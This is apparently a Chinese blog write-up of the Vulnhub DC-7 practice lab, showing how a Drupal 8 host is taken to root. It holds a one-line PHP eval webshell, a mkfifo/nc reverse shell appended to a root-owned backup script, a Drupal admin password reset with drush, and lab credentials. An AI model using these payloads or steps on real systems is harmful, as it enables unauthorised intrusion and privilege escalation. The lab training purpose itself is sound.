Vulnhub靶场DC-7练习

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
    • 1. 获取用户名/密码
    • 2. ssh连接目标主机
    • 3. drush命令修改Drupal密码
  • 0x03 漏洞查找与利用
    • 1. Drupal写入php木马
    • 2. 连接shell
    • 3. 反弹shell并提权
  • 0x04 总结


0x00 准备


下载链接:https://download.vulnhub.com/dc/DC-7.zip

介绍:

If you need to resort to brute forcing or dictionary attacks, you probably won’t succeed.

What you will need to do, is to think “outside” of the box.

Waaaaaay “outside” of the box. 😃

重要信息:

如果你需要求助于暴力破解或字典攻击,你可能不会成功。

你需要做的是“跳出框框”思考。

Waaaaaay “外面”的盒子。😃



0x01 主机信息收集


kali中执行命令:ifconfig

kali本机的ip:192.168.22.48

探测目标主机ip,执行命令:netdiscover - i eth0 192.168.22.0/24

目标主机的ip:192.168.22.6

在这里插入图片描述


探测目标主机的开放端口,执行命令:nmap -sS -sV -A -n 192.168.22.6

开放了22端口,80端口,并且使用的CMS为 Drupal8。

在这里插入图片描述


0x02 站点信息收集


1. 获取用户名/密码


浏览器访问:http://192.168.22.6/

页面上的提示语跟前面的介绍一样,用暴力破解或者字典攻击就不会成功,需要做的是跳出框框思考,跳出盒子。“盒子”可以想到白盒黑盒。跳出盒子也就是白盒。可以考虑找源代码了。

左下角有一个用户名,DC7USER。

在这里插入图片描述


Google一下这个用户名,可以发现一个github账户。主页发现一个staffdb项目,看到是php语言的,有个config.php的配置文件。

在这里插入图片描述


查看一下文件内容,有用户名和密码。还有数据库的名字。

$username = "dc7user";
$password = "MdR3xOgB7#dW";

在这里插入图片描述


考虑用这个用户名和密码登录。

扫描一下站点的目录结构,看有没有可以登录的点:dirsearch -u 192.168.22.6

在这里插入图片描述


访问:http://192.168.22.6/user/login.php

用上面获得的用户名和密码进行登录,失败。

在这里插入图片描述


2. ssh连接目标主机


之前扫描端口的时候还发现开房了22端口。考虑ssh链接。执行命令:ssh dc7user@192.168.22.6

登录成功。

在这里插入图片描述


看一下都有什么文件。一个backups目录和一个mbox文件。

backups目录下是两个gpg文件,gpg命令是用来加密文件的,并且加密后的文件都是乱码。

看一下mbox文件的内容:cat mbox

在这里插入图片描述


发现一个可执行脚本文件的路径:/opt/scripts/backups.sh

以及数据库数据的保存路径:/home/dc7user/backups/website.sql

查看一下这个脚本文件的内容,执行命令:cat /opt/scripts/backups.sh

在这里插入图片描述


3. drush命令修改Drupal密码


看起来是对数据相关的文件进行打包备份删除之类的操作。有个drush命令。

drush sql-dump的功能是数据库导入。

快速了解一下drush命令,发现这个命令可以用来更改Drupal的密码,相关命令是:drush user-password someuser --password="password"

需要注意,执行这个命令的时候,需要切换到Drupal的目录下。从上面的 backups.sh 这个文件的内容可以看出来,在执行drush命令之前先进入了 /var/www/html目录。

所以接下来先进入 /var/www/html目录,再执行命令:drush user-password admin --password="123456"

在这里插入图片描述


更改密码成功。

再访问:http://192.168.22.6/user/login ,用admin和123456尝试登录。登录成功。

在这里插入图片描述


0x03 漏洞查找与利用


1. Drupal写入php木马


接下来的思路就是找可以反弹shell的地方。

在 Content - Add Content - Basic page 下发现可以添加代码,但是只支持html,不支持php。

在这里插入图片描述


查询官方文档:https://www.drupal.org/project/php

Drupal8以后,php需要单独下载导入。

下载的地址:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

下载好以后,依次点击:Manage - Extend扩展 - Install new module启用新增模块,导入刚下载的php模块。

(也可以不下载,再倒入模块的时候直接输入上面的下载URL)

在这里插入图片描述


倒入成功后,点击Enable newly added modules。

在这里插入图片描述


在Manage - Extend模块下,选中 PHP Filter,点击Install。就启用成功了。

在这里插入图片描述



可以看到启用成功的提示。

在这里插入图片描述


在 Manage - Content 下的 welcome to dc-7 这个文件,应该是 http://192.168.22.6 这个页面的文件。

在这里插入图片描述


考虑编辑这个文件,把一句话木马写入这个文件。Edit这个文件,输入一句话木马,并且最后文件格式要保存成php。最后点击save按钮。

<?php
@eval($_POST[shell]);
?>

在这里插入图片描述


2. 连接shell


回到网站的首页就可以解析有恶意代码的文件。

用蚁剑连接一下,注意上下编码都选base64。

在这里插入图片描述


3. 反弹shell并提权


连接成功以后考虑提权。

执行命令:sudo -l,提示没有sudo权限。

想起来前面的/opt/scripts/backups.sh脚本文件,看一下这个文件的权限。

在这里插入图片描述


这个脚本文件的所属主是root,所属组是www-data,当前用户是www-data。

所以可以把提权的命令写入到这个脚本文件中,然后直接执行这个脚本文件。

先在kali中监听9876端口,执行命令:nc -lvvp 9876

在蚁剑中直接编辑/opt/scripts/backups.sh这个文件,在最后一行写入:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.22.48 9876 >/tmp/f

点击右上角的save。

在这里插入图片描述


在蚁剑中可以查看一下文件内容,确认写入成功:cat backups.sh

再执行这个脚本:./backups.sh

在这里插入图片描述


在kali中看到监听端口成功。

查看当前用户:id ,是root用户。

提权成功。

在这里插入图片描述


0x04 总结


主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放端口和服务。

站点信息收集:

  1. 根据提示找到配置文件,获取用户名密码。
  2. ssh连接目标主机。
  3. drush修改Drupal密码。

漏洞利用:

  1. Drupal写入php木马。
  2. 蚁剑连接shell。
  3. 反弹shell。
  4. 提权。



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/873698.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

GitHub CLI 发布 2.53.0

gh 是 GitHub 官方的命令行客户端工具&#xff0c;在此推荐给每一位在参与、想参与到 GitHub 上开源项目的小伙伴。体验异常舒适&#xff01; 常用的命令包括有&#xff1a; 登陆认证 gh auth login克隆代码仓库 gh repo clone linuxsuren/api-testing创建 Fork 仓库 gh repo f…

机器学习基础入门(1)

最近也在努力的想要学习些机器学习的知识&#xff0c;目前正在了解各个概念及术语&#xff0c;下面就把学习到的概念都列出来。 人工智能 (AI) Artificial intelligence 人工智能生成内容&#xff08;AIGC&#xff09; 机器学习&#xff08;ML&#xff09; Machine Learning …

系统架构设计师教程 第3章 信息系统基础知识-3.6 办公自动化系统(OAS)-解读

系统架构设计师教程 第3章 信息系统基础知识-3.6 办公自动化系统&#xff08;OAS&#xff09; 3.6.1 办公自动化系统的概念3.6.1.1 办公活动3.6.1.1 办公自动化的概念 3.6.2 办公自动化系统的功能3.6.2.1 事务处理3.6.2.1.1 单机系统3.6.2.1.2 多机系统 3.6.2.2 信息管理3.6.2.…

Windows tasklist命令详解,Windows查看进程

「作者简介」&#xff1a;冬奥会网络安全中国代表队&#xff0c;CSDN Top100&#xff0c;就职奇安信多年&#xff0c;以实战工作为基础著作 《网络安全自学教程》&#xff0c;适合基础薄弱的同学系统化的学习网络安全&#xff0c;用最短的时间掌握最核心的技术。 tasklist 可以…

安卓系统签名的制作与使用(SignApk.jar)踩坑记录

看到这里的你应该能区分apk签名跟系统签名吧,如果无法区分的请看下面链接 android 应用的证书签名跟系统签名 看过上面的文章应该知道系统签名需要的文件清单大概有哪些 前两个是编译安卓系统时在build目录下,详细目录为 /build/target/product/security 每组签名用途不同&am…

【Android】常用基础布局

布局是一种可用于放置很多控件的容器&#xff0c;它可以按照一定的规律调整内部控件的位置&#xff0c;从而编写出精美的界面&#xff0c;布局内不单单可以放控件&#xff0c;也可以嵌套布局&#xff0c;这样可以完成一些复杂的界面&#xff0c;下面就来认识一些常用的布局吧。…

价格较低,功能最强?OpenAI 推出 GPT-4o mini,一个更小、更便宜的人工智能模型

OpenAI美东时间周四推出“GPT-4o mini”&#xff0c;入局“小而精”AI模型竞争&#xff0c;称这款新模型是“功能最强、成本偏低的模型”&#xff0c;计划今后整合图像、视频、音频到这个模型中。 OpenAI表示&#xff0c;GPT-4o mini 相较于 OpenAI 目前最先进的 AI 模型更加便…

MOGONET:患者分类与biomarker识别

为了充分利用组学技术的进步并更全面地了解人类疾病&#xff0c;需要新的计算方法来综合分析多种类型的组学数据。多组学图卷积网络 (MOGONET&#xff0c;Multi-Omics Graph cOnvolutional NETworks)是一种用于生物医学分类的新型多组学整合方法。MOGONET 包含特定组学的学习和…

SpringBoot整合Swagger报错:Failed to start bean ‘documentationPluginsBootstrapper

文章目录 1 问题背景2 问题原因3 修改SpringBoot配置文件 application.properties参考 1 问题背景 Swagger是SpringBoot中常用的API文档工具&#xff0c;在刚接触使用的时候&#xff0c;按照通用的代码进行配置&#xff0c;发现报错了 [main] ERROR org.springframework.boot…

MySQL实现主从复制的步骤,包括配置读写分离的方法。—— 慧哥充电桩开源平台

下载源码 【慧哥开源充电桩平台】 https://liwenhui.blog.csdn.net/article/details/134773779?spm1001.2014.3001.5502 MySQL主从复制是一种常见的数据备份和读写分离策略。下面是实现MySQL主从复制的步骤&#xff1a; 配置主服务器&#xff08;Master&#xff09;&#xff1…

【Android】Fragment的静态动态创建以及两种创建方式的生命周期

参考&#xff1a; 33.3-Fragment的创建-静态创建2_哔哩哔哩_bilibili Fragment的创建_从现有代码创建foutran-CSDN博客 【Android】Fragment的基本用法、Fragment和活动间的通信、Fragment的生命周期、动态加载布局的技巧_android fragment-CSDN博客 文章目录 Fragment的静态创…

各种复现,保证质量

代码复现&#xff0c;文献复现&#xff0c;模型复现&#xff0c;算法复现&#xff0c;文章复现&#xff0c;创新点等等&#xff0c;python/matlab/c语言/r语言均可&#xff0c;保证高质量完成&#xff0c;可接急单&#xff0c;不成功不收费&#xff01;

前端小知识点——按钮之间出现很小的空隙如何规避

前端小知识点——按钮之间出现很小的空隙如何规避 文章介绍问题再现总结 文章介绍 本文主要介绍页面中两个按钮相邻时会出现一点空隙&#xff0c;导致在后续自定义填充的时候出现换行或其它问题&#xff0c;特此记录。 问题再现 这个图片能看到我们给外面的div设置的是300的宽…

C++:左值/右值引用、移动语义/std::move、万能引用/完美转发std::forward 详解

你能学到 左值 与 右值左值引用 与 右值引用 基本用法与作用拷贝构造函数 与 移动构造函数移动语义 与 std::move万能引用 与 引用折叠完美转发&#xff1a;std::forward 前言 本文代码片段中变量命名规则如下&#xff1a; 小写字母&#xff1a;一般类型的变量&#xff08;非…

Linux_线程的使用

目录 1、线程与进程的关系 2、线程的优缺点 3、创建线程 4、查看启动的线程 5、验证线程是共享地址空间的 6、pthread_create的重要形参 6.1 线程id 6.2 线程实参 7、线程等待 8、线程退出 9、线程取消 10、线程tcb 10.1 线程栈 11、创建多线程 12、__th…

VS2019安装MFC组件

VS2019支持的MFC版本是mfc140 ~ mfc142版本&#xff0c;它兼容VS2015、VS2017之前的老版本程序。 一、MFC的历史版本 MFC的历史版本如下&#xff1a; IDE发布时间工具集版本MSC_VERMSVCMFC版本dllVisual C6.01998V601200MSVC6.06.0mfc42.dll、mfcce400.dllVisual Studio 2002…

如何设计数据中心100G网络光纤布线

随着全球企业对带宽的需求呈指数级增长&#xff0c;数据中心需要升级以增强其计算、存储和网络能力。数据中心从10G/25G向100G迁移成为必然趋势。随着网络升级&#xff0c;数据中心的光纤布线系统也需要随之优化。本文将指导您如何设计数据中心100G网络光纤布线。 100G以太网的…

python-快速上手爬虫

目录 前言 爬虫需谨慎&#xff0c;切勿从入门到入狱&#xff01; 一点小小的准备工作 直接上手爬取网页 1.获取UA伪装 2.获取url 3.发送请求 4.获取数据并保存 总结 前言 爬虫需谨慎&#xff0c;切勿从入门到入狱&#xff01; 一点小小的准备工作 对pip进行换源&#xf…

基于微信小程序图书馆座位预约系统设计与实现

链接: 文档和工程文件地址: ** 2、未完待续:请到目标位置下载 ** 链接: 文档和工程文件地址:

分布式搜索之Elasticsearch入门

Elasticsearch 是什么 Elasticsearch 是一个分布式、RESTful 风格的搜索和数据分析引擎&#xff0c;能够解决不断涌现出的各种用例。作为 Elastic Stack 的核心&#xff0c;它集中存储您的数据&#xff0c;帮助您发现意料之中以及意料之外的情况。 Elastic Stack 又是什么呢&a…